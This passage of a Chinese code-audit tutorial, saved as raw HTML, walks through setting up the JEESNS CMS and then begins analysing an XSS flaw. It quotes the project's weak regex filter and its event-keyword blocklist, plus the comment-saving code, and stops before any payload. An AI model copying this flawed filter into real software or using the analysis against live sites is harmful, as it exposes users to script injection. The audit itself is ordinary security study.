&#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">等待几分钟后即可下载完毕。然后在本地创建数据库：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">create database jeesns charset utf8mb4;</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">选择数据库后导入SQL 文件：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">source</span> /Users/panda/Downloads/jeesns-master_v1.3/jeesns-web/database/jeesns.sql<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">jeesns-web/src/main/resources/jeesns.propertis</code>文件中修改数据库的账号密码</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">需要注意的是，由于每个人的数据库版本不同，因此需要修改对应的 msyql connet jar包，否则会出现类似于下面的错误:</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">Cause: org.springframework.jdbc.CannotGetJdbcConnectionException: Could not get JDBC Connection; nested exception is java.sql.SQLException: Connections could not be acquired from the underlying database!<br/></code></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5513361462728551" data-s="300,640" style="" data-type="png" data-w="2844" src="https://wechat2rss.xlab.app/img-proxy/?k=a6f15dd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1lFVM4wj7Dwtz9rMdVCt6LiafEKzzC0S4emmy1Js80govGIdTmPictatQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">需要在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">jeesns-web/pom.xml</code>文件添加以下内容：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">dependency</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">groupId</span>&gt;</span>mysql<span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">groupId</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">artifactId</span>&gt;</span>mysql-connector-java<span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">artifactId</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">version</span>&gt;</span>8.0.15<span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">version</span>&gt;</span><br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">dependency</span>&gt;</span><br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><strong style="box-sizing: border-box;color: rgb(0, 0, 0);">PS：注意这段代码添加的位置、自己机器上的数据库版本</strong></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5077464788732394" data-s="300,640" style="" data-type="png" data-w="2840" src="https://wechat2rss.xlab.app/img-proxy/?k=392b247b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1Psn9sQNLTVdr51xx2IuOzTIOr2uTlkroumzH8FsrDHR9nj9PzDZ28w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">修改好保存后，配置 tomcat 服务，点击 run--&gt;edit configurations，配置如下：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">server 选项默认即可：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6610644257703081" data-s="300,640" style="" data-type="png" data-w="2142" src="https://wechat2rss.xlab.app/img-proxy/?k=fe94a71d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1F8ZibUd6WeicWrBpw3ZIr1uc4sNguiaNBDNapkPLjfhdXcic6cUDBop32g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">Deployment 选项中，导入 war 包，点击+号，选择Artifact...，然后选择第一个 war：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6634799235181644" data-s="300,640" style="" data-type="png" data-w="2092" src="https://wechat2rss.xlab.app/img-proxy/?k=0e0e7f18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1xFEuMbVnE0FFbTvJ2qMMABfBv6HtQstEgs1klLBpG6G9ZbbCMYrJpQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">点击 OK 后可以修改路径：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6610644257703081" data-s="300,640" style="" data-type="png" data-w="2142" src="https://wechat2rss.xlab.app/img-proxy/?k=b99a5081&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1MMt4UPAiaBNQNZGH3gbYfjRN8UZnSNbAu9NoepU30jxZb8ic26elzVIw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">点击应用后，即可运行本项目，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6026912181303116" data-s="300,640" style="" data-type="png" data-w="2824" src="https://wechat2rss.xlab.app/img-proxy/?k=e30b1fd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1HbgIqNSiczMBOLsYDTE4WaTolDLUK6uC4FXy5st2dbEm18ickhOzxbUA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">站点地址：<a href="http://localhost:8080/jeesns/" target="_blank">http://localhost:8080/jeesns/</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">后台地址：<a href="http://localhost:8080/jeesns/manage/" target="_blank">http://localhost:8080/jeesns/manage/</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">管理员账号：admin</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">管理员密码：jeesns</p><p><span name="menu_index_14" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、案例漏洞分析</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">该漏洞存在的文件位置为：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">jeesns-core/src/main/java/com.lxinet.jeesns/core/utils/XssHttpServletRequestWrapper.java</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">关键内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">/**<br/> * XSS攻击处理<br/> * Created by zchuanzhao on 2017/3/23.<br/> */</span><br/> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">getParameter</span><span style="box-sizing: border-box;">(String parameter)</span> </span>{<br/>        String value = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>.getParameter(parameter);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (value == <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>        }<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> cleanXSS(value);<br/>    }<br/>    ......<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">cleanXSS</span><span style="box-sizing: border-box;">(String value)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//first checkpoint</span><br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//(?i)忽略大小写</span><br/>        value = value.replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;(?i)&lt;style&gt;&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&amp;lt;style&amp;gt;&#34;</span>).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;(?i)&lt;/style&gt;&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&amp;lt;&amp;#47;style&amp;gt;&#34;</span>);<br/>        value = value.replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;(?i)&lt;script&gt;&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&amp;lt;script&amp;gt;&#34;</span>).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;(?i)&lt;/script&gt;&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&amp;lt;&amp;#47;script&amp;gt;&#34;</span>);<br/>        value = value.replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;(?i)&lt;script&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&amp;lt;script&#34;</span>);<br/>        value = value.replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;(?i)eval\\((.*)\\)&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>        value = value.replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;[\\\&#34;\\\&#39;][\\s]*javascript:(.*)[\\\&#34;\\\&#39;]&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;\&#34;\&#34;&#34;</span>);<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//second checkpoint</span><br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 需要过滤的脚本事件关键字</span><br/>        String[] eventKeywords = { <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onmouseover&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onmouseout&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onmousedown&#34;</span>,<br/>                <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onmouseup&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onmousemove&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onclick&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;ondblclick&#34;</span>,<br/>                <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onkeypress&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onkeydown&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onkeyup&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;ondragstart&#34;</span>,<br/>                <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onerrorupdate&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onhelp&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onreadystatechange&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onrowenter&#34;</span>,<br/>                <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onrowexit&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onselectstart&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onload&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onunload&#34;</span>,<br/>                <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onbeforeunload&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onblur&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onerror&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onfocus&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onresize&#34;</span>,<br/>                <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onscroll&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;oncontextmenu&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;alert&#34;</span> };<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 滤除脚本事件代码</span><br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">for</span> (<span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> i = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span>; i &lt; eventKeywords.length; i++) {<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 添加一个&#34;_&#34;, 使事件代码无效</span><br/>            value = value.replaceAll(eventKeywords[i],<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;_&#34;</span> + eventKeywords[i]);<br/>        }<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> value;<br/>    }<br/>}<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">同时该过滤也写到了过滤器中：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">doFilter</span><span style="box-sizing: border-box;">(ServletRequest request, ServletResponse response, FilterChain chain)</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throws</span> IOException, ServletException </span>{<br/>        chain.doFilter(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> XssHttpServletRequestWrapper((HttpServletRequest) request), response);<br/>    }<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">WeiboController.java</code>文件中，有以下关键代码：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;color: rgb(249, 145, 87);">@RequestMapping</span>(value=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;/comment/{weiboId}&#34;</span>,method = RequestMethod.POST)<br/>    <span style="box-sizing: border-box;color: rgb(249, 145, 87);">@ResponseBody</span><br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> ResultModel <span style="box-sizing: border-box;color: rgb(181, 189, 104);">comment</span><span style="box-sizing: border-box;">(@PathVariable(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;weiboId&#34;</span>)</span> Integer weiboId, String content, Integer weiboCommentId)</span>{<br/>        Member loginMember = MemberUtil.getLoginMember(request);<br/>        ValidUtill.checkLogin(loginMember);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ResultModel(weiboCommentService.save(loginMember,content,weiboId,weiboCommentId));<br/>    }<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">sava 函数关键内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">save</span><span style="box-sizing: border-box;">(HttpServletRequest request, Member loginMember, String content, String pictures)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span>(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;0&#34;</span>.equals(request.getServletContext().getAttribute(ConfigUtil.WEIBO_POST.toUpperCase()))){<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throw</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> OpeErrorException(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;微博已关闭&#34;</span>);<br/>        }<br/>        ValidUtill.checkIsNull(content, Messages.CONTENT_NOT_EMPTY);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span>(content.length() &gt; Integer.parseInt((String) request.getServletContext().getAttribute(ConfigUtil.WEIBO_POST_MAXCONTENT.toUpperCase()))){<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throw</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ParamException(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;内容不能超过&#34;</span>+request.getServletContext().getAttribute(ConfigUtil.WEIBO_POST_MAXCONTENT.toUpperCase())+<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;字&#34;</span>);<br/>        }<br/>       ....<br/>         <br/>        Weibo weibo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> Weibo();<br/>        weibo.setMemberId(loginMember.getId());<br/>        weibo.setContent(content);<br/>        weibo.setStatus(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>);<br/>        <br/>           ....<br/>         <br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> result == <span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>;<br/>    }<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, 